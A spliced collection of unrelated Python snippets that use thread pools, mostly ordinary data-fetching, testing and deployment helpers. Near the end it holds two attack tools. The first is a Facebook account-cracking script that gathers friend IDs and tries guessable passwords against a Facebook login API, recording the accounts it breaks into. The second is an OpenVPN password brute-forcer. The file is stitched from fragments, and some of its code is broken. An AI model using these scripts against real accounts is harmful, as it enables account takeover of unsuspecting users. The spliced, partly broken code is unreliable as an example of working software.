def _getGraphiteData(self): def getData(metric): url = self._createGraphiteRequest(metric) s_time = time.time() try: res = urllib2.urlopen(url) data = yaml.load(res) except: pass finally: e_time = time.time() - s_time e_time = int(e_time * 1000) print "{time}ms/t{url}".format(time = e_time, url = url) if len(data) and 'datapoints' in data[0]: data = filter(lambda d: d[0] != None, data[0]['datapoints']) if data: len_data = len(data) data = [ v / len_data for v in reduce(lambda x, y: [ x[0] + y[0], x[1] + y[1] ], data) ] metric.update({ 'value': data[0], 'time': data[1] }) pool = Pool(processes=50) pool.map(getData, self.metrics) pool.close() pool.join()
def _test_monitor_tables_locking_errors(self): """Test that intensive read/write operations to the MySQL Monitor tables do not trigger locking errors. This test will be successful if there will be no generated error at the end. """ # Setting these variables will cause the Monitor to connect more # frequently to the backend hosts to check their health, thus increasing # the probability of locking errors to appear. self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_connect_interval'") self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_ping_interval'") self.run_query_proxysql_admin("LOAD MYSQL VARIABLES TO RUNTIME") queries = [] q1 = "select * from monitor.mysql_server_connect_log ORDER BY RANDOM() LIMIT 10" q2 = "select * from monitor.mysql_server_ping_log ORDER BY RANDOM() LIMIT 10" for _ in xrange(10000): queries.append(random.choice([q1, q2])) pool = ThreadPool(processes=5) pool.map(self.run_query_proxysql_admin, queries) # If we reached this point without an error, it means that the test # has passed. self.assertEqual(1, 1)
def day2week(self): stock_codes = self.store.update_stock_codes pool = ThreadPool(10) pool.map(self.store.write_week_his, stock_codes) print ('starting index day2week...') self.store.write_week_his('000001', 'index')
def get_next_n(conn, limit=0): """Gets duplicate ids for n bugs and stores it in PostgreSQL database. Args: conn: Psycopg2 connection to PostgreSQL database. limit (int): Number of bugs to get duplicates for. Returns: None. """ cur = conn.cursor() cur.execute("SET TIME ZONE 'UTC';") query = """ SELECT f.id FROM final f LEFT OUTER JOIN duplicates d ON f.id = d.id WHERE f.resolution_final = 'duplicate' AND d.id IS NULL LIMIT {} """.format(limit) cur_report = conn.cursor() cur_report.execute(query) # use threads to parallelize API requests pool = ThreadPool(10) bugs = cur_report.fetchall() get_bug_desc_conn = partial(get_duplicate_info, conn) pool.map(get_bug_desc_conn, bugs) pool.close() return
def testParallelTableUploadAndDownloadTunnel(self): p = 'ds=test' table, data = self._gen_table(partition=p.split('=', 1)[0], partition_type='string', partition_val=p.split('=', 1)[1]) self.assertTrue(table.exist_partition(p)) records = [table.new_record(values=d) for d in data] n_blocks = 5 blocks = list(range(n_blocks)) n_threads = 2 thread_pool = ThreadPool(n_threads) def gen_block_records(block_id): c = len(data) st = int(c / n_blocks * block_id) if block_id < n_blocks - 1: ed = int(c / n_blocks * (block_id + 1)) else: ed = c return records[st: ed] def write(w): def inner(arg): idx, r = arg w.write(idx, r) return inner with table.open_writer(partition=p, blocks=blocks) as writer: thread_pool.map(write(writer), [(i, gen_block_records(i)) for i in blocks]) for step in range(1, 4): reads = [] expected = [] with table.open_reader(partition=p) as reader: count = reader.count for i in range(n_blocks): start = int(count / n_blocks * i) if i < n_blocks - 1: end = int(count / n_blocks * (i + 1)) else: end = count for record in reader[start:end:step]: reads.append(record) expected.extend(data[start:end:step]) self.assertEqual(len(expected), len(reads)) for val1, val2 in zip(expected, [r.values for r in reads]): for it1, it2 in zip(val1[:-1], val2[:-1]): if isinstance(it1, dict): self.assertEqual(len(it1), len(it2)) self.assertTrue(any(it1[k] == it2[k] for k in it1)) elif isinstance(it1, list): self.assertSequenceEqual(it1, it2) else: self.assertEqual(it1, it2) table.drop()
def main(dir_path, outfile_path, is_journal=True): pn = 20 flst = os.listdir(dir_path) arglst = [] ret = dict() for i in range(pn): beg = int(math.ceil(float(len(flst)) / pn * i)) end = int(math.ceil(float(len(flst)) / pn * (i + 1))) if(id == 0): beg = 0 if(id == pn - 1): end = (len(flst)) arglst.append([dir_path, is_journal, beg, end, i, ret]) pool = ThreadPool(pn) pool.map(job_map, arglst) pool.close() pool.join() print(80 * '=') print('[acmdl]: map finished') print(80 * '=') job_reduce(ret, outfile_path) print(80 * '=') print('[acmdl]: reduce finished') print(80 * '=') return
def collect_logs(self): """Collect all the microservice log files.""" log_dir = os.path.join(self.options.log_dir, 'service_logs') if not os.path.exists(log_dir): os.makedirs(log_dir) def fetch_service_log(service): try: logging.debug('Fetching logs for "%s"...', service) deployer = (self if service in HALYARD_SERVICES else self.__spinnaker_deployer) deployer.do_fetch_service_log_file(service, log_dir) except Exception as ex: message = 'Error fetching log for service "{service}": {ex}'.format( service=service, ex=ex) if ex.message.find('No such file') >= 0: message += '\n Perhaps the service never started.' # dont log since the error was already captured. else: logging.error(message) message += '\n{trace}'.format( trace=traceback.format_exc()) write_data_to_secure_path( message, os.path.join(log_dir, service + '.log')) logging.info('Collecting server log files into "%s"', log_dir) all_services = list(SPINNAKER_SERVICES) all_services.extend(HALYARD_SERVICES) thread_pool = ThreadPool(len(all_services)) thread_pool.map(fetch_service_log, all_services) thread_pool.terminate()
def analyze_commits(project_name, target_repo, existing_target_branches, fork_list): print 'Analyzing commits' pool = ThreadPool(processes=10) existing_target_commits = [] for fork_repo in fork_list: for target_branch in existing_target_branches: print ' Analyzing %s (branch: %s) ' % (fork_repo.full_name, target_branch), fork_repo_commits = fork_repo.get_commits(sha=target_branch) max_commits_to_analyze = 30 analyzed_commits = 0 fork_commits_to_analyze = [] for fork_comm in fork_repo_commits: if analyzed_commits == max_commits_to_analyze: break fork_commits_to_analyze.append(fork_comm) analyzed_commits += 1 partial_c_in_root = functools.partial(commit_is_in_root, existing_target_commits, target_repo, fork_repo) pool.map(partial_c_in_root, fork_commits_to_analyze) print
def svnup(site, commitmessage): svn = Popen(['svn', 'status'], cwd=site['localdir'], stdout=PIPE, stderr=PIPE) files = [] for line in svn.stdout.readlines(): lineprefix = 'A + ' if line.startswith('M') or line.startswith('A'): line = line[len(lineprefix):] line = line.rstrip('\r').rstrip('\n') files.append(line) elif (line.startswith('?') or line.startswith('C') or line.startswith('!')): call(['svn', 'status'], cwd=site['localdir']) exit(1) if len(files): print 'Uploading: ', '\n'.join(files) else: print 'Nothing to Update' call(['svn', 'status'], cwd=site['localdir']) exit(0) stdout, stderr = svn.communicate() if stderr: print stderr exit(1) def upload(filename): remotefilename = path.join(site['remotedir'], filename) remoteaddress = 'ftp://%s%s' % (site['host'], remotefilename) if not path.isdir(filename): print 'Uploading: \n', filename exitcode = call(['curl', '--progress-bar', '-T', filename, '--ftp-create-dirs', '--user', '%s:%s' % (site['username'], site['password']), remoteaddress], cwd = site['localdir']) print '' if exitcode: print 'Error in uploading "%s"' % filename print 'Destenation is "%s"' % remoteaddress exit(1) pool = ThreadPool(settings['concurrentConnections']) pool.map(upload, files) for filename in files: upload(filename) call(['svn', 'commit', '-m', commitmessage], cwd=site['localdir'])
def StartInfrastructure(inf_id, auth): """ Start all virtual machines in an infrastructure previously stopped. Args: - inf_id(str): infrastructure id. - auth(Authentication): parsed authentication tokens. Return(str): error messages; empty string means all was ok. """ InfrastructureManager.logger.info("Starting the infrastructure id: " + str(inf_id)) sel_inf = InfrastructureManager.get_infrastructure(inf_id, auth) exceptions = [] if Config.MAX_SIMULTANEOUS_LAUNCHES > 1: pool = ThreadPool(processes=Config.MAX_SIMULTANEOUS_LAUNCHES) pool.map( lambda vm: InfrastructureManager._start_vm(vm, auth, exceptions), reversed(sel_inf.get_vm_list()) ) else: for vm in sel_inf.get_vm_list(): InfrastructureManager._start_vm(vm, auth, exceptions) if exceptions: msg = "" for e in exceptions: msg += str(e) + "\n" raise Exception("Error starting the infrastructure: %s" % msg) InfrastructureManager.logger.info("Infrastructure successfully restarted") return ""
def monitorthread(self): stock_codes = [] for item in self.conn.mystock.todaydata.find(): stock_codes.append(item['code']) pool = ThreadPool(40) pool.map(self.proxy, stock_codes)
def run_test_case_list( self, test_case_list, max_concurrent, timeout_ok=False, max_retries=0, retry_interval_secs=5, full_trace=False): """Run a list of test cases. Args: test_case_list: [list of OperationContract] Specifies the tests to run. max_concurrent: [int] The number of cases that can be run concurrently. timeout_ok: [bool] If True then individual tests can timeout and still be considered having a successful AgentOperationStatus. max_retries: [int] Number of independent retries permitted on individual operations if the operation status fails. A value of 0 indicates that a test should only be given a single attempt. retry_interval_secs: [int] Time between retries of individual operations. full_trace: [bool] If True then provide detailed execution tracing. """ num_threads = min(max_concurrent, len(test_case_list)) pool = ThreadPool(processes=num_threads) def run_one(test_case): """Helper function to run individual tests.""" self.run_test_case( test_case=test_case, timeout_ok=timeout_ok, max_retries=max_retries, retry_interval_secs=retry_interval_secs, full_trace=full_trace) self.logger.info( 'Running %d tests across %d threads.', len(test_case_list), num_threads) pool.map(run_one, test_case_list) self.logger.info('Finished %d tests.', len(test_case_list))
def copytree_and_gzip(self, source_dir, target_dir): """ Copies the provided source directory to the provided target directory. Gzips JavaScript, CSS and HTML and other files along the way. """ # Figure out what we're building... build_list = [] # Walk through the source directory... for (dirpath, dirnames, filenames) in os.walk(source_dir): for f in filenames: # Figure out what is going where source_path = os.path.join(dirpath, f) rel_path = os.path.relpath(dirpath, source_dir) target_path = os.path.join(target_dir, rel_path, f) # Add it to our list to build build_list.append((source_path, target_path)) logger.debug("Gzipping {} files".format(len(build_list))) # Build em all if not getattr(self, 'pooling', False): [self.copyfile_and_gzip(*u) for u in build_list] else: cpu_count = multiprocessing.cpu_count() logger.debug("Pooling build on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.pooled_copyfile_and_gzip, build_list)
def _load_lyrics(self, songdict): total = [] for songlist in songdict.values(): total += songlist pool = ThreadPool() pool.map(Song.load, total)
def read_results(hosts, failed): cmd = 'tail -1 iperf-server-6001' results = dict() args = [(i, cmd, results, failed) for i in hosts] pool = ThreadPool(len(hosts)) pool.map(thread_run, args) total = 0.0 for i, result in results.iteritems(): r = result.split() try: if r[-1] == 'Gbits/sec': b = float(r[-2]) * 1000 elif r[-1] == 'Mbits/sec': b = float(r[-2]) else: print 'failed on {}: {}'.format(i, result) sys.exit(1) print '{}: {}'.format(i, b) total += b except: print 'failed on {}: {}'.format(i, result) print total/len(hosts)
def test(my_test_cases): try: logfile = edex_tools.find_latest_log() except OSError as e: log.error('Error fetching latest log file - %s', e) return {} total_timeout = 0 count = 0 sc = {} pool = ThreadPool(MAX_THREADS) pool.map(execute_test, my_test_cases) for tc in my_test_cases: total_timeout += tc.timeout count += tc.count # wait for all ingestion to complete if not edex_tools.watch_log_for('EDEX - Ingest complete for file', logfile=logfile, expected_count=count, timeout=total_timeout): log.error('Timed out waiting for ingest complete message') log.info('All files ingested, testing results') for tc in pool.map(evaluate_test_case, test_cases): sc.update(tc) return sc
def main(): pool = ThreadPool(10) base_url = 'https://www.google.com/?gws_rd=ssl#q=' urls = [base_url+str(i) for i in xrange(1000)] pool.map(google_search, urls) pool.close() pool.join()
def download_dumps(dump_links, config): """ Given a list of direct links to character dumps, this will grab each dump and save it to disk in DUMPDIR as <some random guid>.dmp. """ destination_dir = config.dumpdir def write_dump(dump): filename = str(uuid.uuid4()) + "." + DUMP_EXT f = open(os.path.join(destination_dir, filename), "w") f.write(dump) f.close() def download_dump(dump_link): dump_page = requests.get(dump_link).text soup = BeautifulSoup(dump_page) dump = soup.find("pre").text write_dump(dump) print "Dumping {0} files to {1} using {2} threads.".format( len(dump_links), destination_dir, config.concurrency ) if config.concurrency > 1: from multiprocessing.pool import ThreadPool pool = ThreadPool(processes=config.concurrency) pool.map(download_dump, dump_links) else: map(download_dump, dump_links)
def main(ranking_type=1): baseurl = "http://video.fc2.com/a/list.php?m=cont&page={}" + "&type={}".format(ranking_type) if os.path.exists(DOWNLOADED_FILE): with open(DOWNLOADED_FILE, "r") as f: downloaded = f.read().split('\n') else: downloaded = [] r = urlopen(baseurl.format(1), timeout=10) soup = BeautifulSoup(r.read(), "lxml") links = soup.findAll("a") targets = set() regex = re.compile(r"(?:/a)?/content/(\w+)/?$") for link in links: url = link.get("href").split("&")[0] match = regex.search(url) if match is None: continue target = match.group(1) if target in downloaded: continue targets.add(target) # print(targets) pool = ThreadPool() # mp.Pool() pool.map(download_fc2, targets) print('finished')
def cleanup(self, odps): cleaned = [] def cleaner_thread(obj): try: obj.drop(odps) cleaned.append(obj) except: pass pool = ThreadPool(CLEANER_THREADS) if self._container: pool.map(cleaner_thread, self._container) pool.close() pool.join() for obj in cleaned: if obj in self._container: self._container.remove(obj) if not self._container: try: os.unlink(self._file_name) except OSError: pass else: self.dump()
def check_load_on_hosts(psinet, hosts): loads = {} pool = ThreadPool(25) global g_psinet g_psinet = psinet log_diagnostics('Checking Hosts...') results = pool.map(check_load_on_host, hosts) log_diagnostics('...done checking hosts') # retry failed hosts failed_hosts = [psinet._PsiphonNetwork__hosts[result[0]] for result in results if result[1] == -1 or result[5]] if len(failed_hosts): log_diagnostics('Retrying failed hosts') new_results = pool.map(check_load_on_host, failed_hosts) for result in results + new_results: loads[result[0]] = result[1:] cur_users = sum([load[0] for load in loads.itervalues() if load[0] > 0]) unreachable_hosts = len([load for load in loads.itervalues() if load[0] == -1]) loads = sorted(loads.iteritems(), key=operator.itemgetter(1), reverse=True) unreachable = [load for load in loads if load[1][0] == -1] process_alerts = [load for load in loads if load[1][4]] high_load = [load for load in loads if float(load[1][1]) >= 100.0] low_memory = [load for load in loads if float(load[1][2]) < 20.0 or float(load[1][3]) < 20.0] for load in low_memory + high_load + process_alerts + unreachable: loads.insert(0, loads.pop(loads.index(load))) pprint.pprint(loads) return cur_users, len(loads), unreachable_hosts, loads
def main(): print 'arguments were', sys.argv if len(sys.argv) == 2: if sys.argv[1] == 'init': init() print 'initialized' return sys.exit(0) if sys.argv[1] == 'reset': import os os.unlink('items.db') init() return sys.exit(0) if sys.argv[1] == 'dump': dumpDb() if sys.argv[1] == 'items': showItems() if sys.argv[1] == 'kill': subprocess.Popen("""kill `ps auxx |grep warc-inject|awk -e '{print $2}'`""", shell=True,stdout=subprocess.PIPE).communicate()[0] else: #getPage(3) from multiprocessing.pool import ThreadPool pool = ThreadPool(processes=150) pool.map(getPage, xrange(1,1300))
def master(): # 1. Check args if len(sys.argv) < 2: print_usage() return -1 # 2. Parse property file if not os.path.exists(sys.argv[1]): print("Provided Properties file does not exist:" + str(sys.arv[1])) return -2 current_properties = parse_properties_file(sys.argv[1]) main_log = DDLogger("Main_Class", target_log_file=os.path.join(current_properties[property_parser.WORK_DIR_PROPERTY_NAME], "main_log.log"), exit_on_failure=True) main_log.log_info("Got all properties.") # 3. Get various test profiles. all_test_profiles = get_all_profiles(current_properties, main_log) main_log.log_info("Got " + str(len(all_test_profiles)) + " To Execute.") # 4. Execute each test profile. no_of_available_devices = get_available_devices() if no_of_available_devices <= 0: main_log.log_info("No Devices available to test.") return -3 main_log.log_info("Identified " + str(no_of_available_devices) + " available devices.") all_test_profiles = map(lambda x: (x, main_log), all_test_profiles) main_log.log_info("Running all test profiles.") # As number of test profile to run simultaneously depend on number of devices. # create thread pool with number of threads equal to number of devices. curr_pool = ThreadPool(processes=no_of_available_devices) curr_pool.map(run_test_profile, all_test_profiles) main_log.log_info("Scheduled all test profiles.") main_log.log_info("All Test Profiles Completed Execution.")
def _fetch_all_packages(): proxy = xmlrpclib.ServerProxy(options.url) results = proxy.search({'keywords': BASE_KEYWORD}) last_update_pool = ThreadPool(processes=10) if results: last_update_pool.map(_fetch_last_update, results)
def test_multiple_concurrent_request_on_same_client(self): import time from multiprocessing.pool import ThreadPool send_msg = u'test ฟนำีฟนำีฟนำีฟนำี' server_start = Event() def on_message(msg): self.assertEqual(msg, send_msg) def server(): PostofficeServer(ip='0.0.0.0', port=4000, on_message=on_message, after_start_cb=lambda: server_start.set()) from multiprocessing import Process p = Process(target=server) try: p.start() server_start.wait() c = PostofficeClient(ip='localhost', port=4000) def client(ith): c.send(send_msg) pool = ThreadPool(100) pool.map(client, [i for i in range(1000)]) p.terminate() p.join() except Exception as e: # gracefully stop p.terminate() p.join() raise
def dowload_person(person_url): print 'start to downlaod person %s\n'%(person_url) person_pic_url = get_person_pic_url_Set(person_url) pool = ThreadPool(8) pool.map(download_pic,person_pic_url) pool.close() pool.join()
def sync_with_s3(self): """ Walk through our self.local_files list, and match them with the list of keys in the S3 bucket. """ # Create a list to put all the files we're going to update self.update_list = [] # Figure out which files need to be updated and upload all these files logger.debug("Comparing {} local files with {} bucket files".format( len(self.local_file_list), len(self.s3_obj_dict.keys()) )) if self.no_pooling: [self.compare_local_file(f) for f in self.local_file_list] else: cpu_count = multiprocessing.cpu_count() logger.debug("Pooling local file comparison on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.compare_local_file, self.local_file_list) logger.debug("Uploading {} new or updated files to bucket".format(len(self.update_list))) if self.no_pooling: [self.upload_to_s3(*u) for u in self.update_list] else: logger.debug("Pooling s3 uploads on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.pooled_upload_to_s3, self.update_list)
def main(): ''' Handles user input, wikipedia link generation, and instantiation and runtime of threads. ''' # Note that no validation is done at any level of the user input. w = input("Enter width of the canvas (i.e. 512) : ") h = input("Enter height of the canvas (i.e. 512) : ") num_threads = input("Enter number of threads (i.e. 16) : ") title = raw_input("Enter title of wikipedia page (i.e New York) : ") destination = raw_input("Enter name of destination file (i.e. masterpiece.png) : ") # Get the wikipedia page for the current title and limit the images if specified. page = wikipedia.page(title) image_urls = page.images # Initialize the starting image and lock array. base = Image.new('RGB', (w, h), 'white') locks = [[threading.Lock() for x in range(h)] for y in range(w)] # Create a thread pool with the given number of threads and map the paint() function # across the pool. pool = ThreadPool(num_threads) pool.map(paint, gen(base, locks, image_urls, w, h)) # Finally, save the image under the specified name. base.save(destination)
def run_trials(): numTrials = 3000 gens = 1000 from multiprocessing.pool import ThreadPool as Pool pool = Pool(50) jids = pool.map(f,[gens]*numTrials) print "Done spawning trials. Retrieving results..." results = pool.map(cloud_result, jids) firstLocusFreqsHists = zeros((numTrials,gens+1), dtype='float') lastLocusFreqsHists = zeros((numTrials,gens+1), dtype='float') print "Done retrieving results. Press Enter to serialize..." raw_input() for i, result in enumerate(results): firstLocusFreqsHists[i, :], lastLocusFreqsHists[i, :] = result with closing(FileStorage("soda_results.durus")) as durus: conn = Connection(durus) conn.get_root()[str(int(floor(time.time())))] = (firstLocusFreqsHists, lastLocusFreqsHists) conn.commit() pool.close() pool.join()
def main(): # Run the Tales pool = ThreadPool(processes=int(tcfg['Workers'].get('pool_size', 10))) pool = ThreadPool() pool.map(worker, tales) pool.close() pool.join()
def pilih_crack(): peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_crack() elif peak =="1": os.system('clear') print logo jjt = raw_input("\033[1;92mEnter ID : \033[1;92m") print "►▸▹►▸▹►▸▹►►▸▹►▸▹►▸▹►▸▹◃◄◅◃◄◅◃◄◅▸▹◃◄◅◃◄◅◃◄◅" try: m = requests.get("https://graph.facebook.com/"+jjt+"?access_token="+toket) td = json.loads(m.text) print"\033[1;94mName\033[1;94m:\033[1;94m "+td["name"] except KeyError: print"\x1b[1;91mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") crack() print"\033[1;97mGetting IDs\033[1;97m..." n = requests.get("https://graph.facebook.com/"+jjt+"/friends?access_token="+toket) d = json.loads(n.text) for c in d['data']: id.append(c['id']) elif peak =="0": men() else: print "\x1b[1;91mxallata" pilih_crack() print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m"+str(len(id)) jalan('\033[1;97mPlease Wait\033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;94mCloning\033[1;94m"+o),;sys.stdout.flush();time.sleep(1) print "\033[1;96m Bo Wastany Clonaka CTRL BKA LAGALL Z') print "\033[1;91m-------------------------------------------------------------------" jalan(' \033[1;95m ') jalan(' \033[1;95m Hackaka Dast Pe Akat ☕ ') print "\033[1;91m----------------------------------------" def main(arg): global cekpoint,oks user = arg try: os.mkdir('cookie') except OSError: pass #Dev:qaiser try: k = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) y = json.loads(k.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'professor' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = y['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = y['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = y['first_name'] + '12' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = y['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: pass7 = 'Pakistan1' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤" print " Written By Qaiser" #Dev:TheProfessor print '\033[1;94mProcess Has Been Completed \033[1;94m....' print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....' print"\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m"+str(len(oks))+"\033[1;96m/\033[1;96m"+str(len(cekpoint)) print """ ██████╗░██████╗░░█████╗░███████╗███████╗░██████╗░██████╗░█████╗░██████╗░ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗ ██████╔╝██████╔╝██║░░██║█████╗░░█████╗░░╚█████╗░╚█████╗░██║░░██║██████╔╝ ██╔═══╝░██╔══██╗██║░░██║██╔══╝░░██╔══╝░░░╚═══██╗░╚═══██╗██║░░██║██╔══██╗ ██║░░░░░██║░░██║╚█████╔╝██║░░░░░███████╗██████╔╝██████╔╝╚█████╔╝██║░░██║ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚══════╝╚═════╝░╚═════╝░░╚════╝░╚═╝░░╚═╝ \033[1;92m ERROR ID AFTER 2 WEEKS (14DAYS) """ raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]") crack()
class OpenVpnBruter(object): def __init__(self): self.parse_options() self.build_list() self._MT_Process() self.cmd_arr self.pass_arr def parse_options(self): parser = argparse.ArgumentParser( description="Openvpn Brute forcer built for pentestit lab v11") parser.add_argument('--host', type=str, required=True) parser.add_argument('--config', type=str, required=True) parser.add_argument('--user', type=str, required=True) parser.add_argument('--passlist', type=str, required=True) self.args = parser.parse_args() def _clean_up(self): shutil.rmtree(TEMP_DIR_PATH) # not a good solution here but one that works # due to thread pool defunct objects holding a process # and preventing the app closing out using exit(0) os.system('kill %d' % os.getpid()) def build_list(self): if not os.path.exists(TEMP_DIR_PATH): os.makedirs(TEMP_DIR_PATH) self.cmd_arr = [] self.pass_arr = [] with open(self.args.passlist) as plist: for password in plist: try: password = password.strip() tf = tempfile.NamedTemporaryFile(dir=TEMP_DIR_PATH, delete=False) tf.write('{0}\n{1}\n'.format(self.args.user, password)) tf.flush() tf.close() self.cmd_arr.append( "/usr/sbin/openvpn --remote {0} --config {1} --auth-user-pass {2}" .format(self.args.host, self.args.config, tf.name)) self.pass_arr.append(password) except: raise def _start_brute(self, cmd): process = subprocess.Popen(shlex.split(cmd), shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE) for outline in iter(process.stdout.readline, ''): if "Initialization Sequence Completed" in outline: pass_index = self.cmd_arr.index(cmd) password = self.pass_arr[pass_index] print(bcolours.BOLD + bcolours.GREEN + "[+] SUCCESS!" + bcolours.ENDC + bcolours.ENDC + " command = " + bcolours.HEADER + "%s" % (cmd) + bcolours.ENDC) print(bcolours.BOLD + "[+] Password:"******" %s" % (password) + bcolours.ENDC + bcolours.ENDC) print(bcolours.BOLD + "[+] VPN Process stopped and temp files removed" + bcolours.ENDC) self.pool.terminate() process.terminate() self._clean_up() def _MT_Process(self): self.pool = ThreadPool(processes=TOTAL_PROCESSES) self.pool.map(self._start_brute, self.cmd_arr) self.pool.close() self.pool.join() def main(self): self.build_list() self._MT_Process() print(bcolours.BOLD + bcolours.RED + "[-] FAILED TO FIND OPENVPN PASSWORD :-( " + bcolours.ENDC + bcolours.ENDC) self._clean_up()
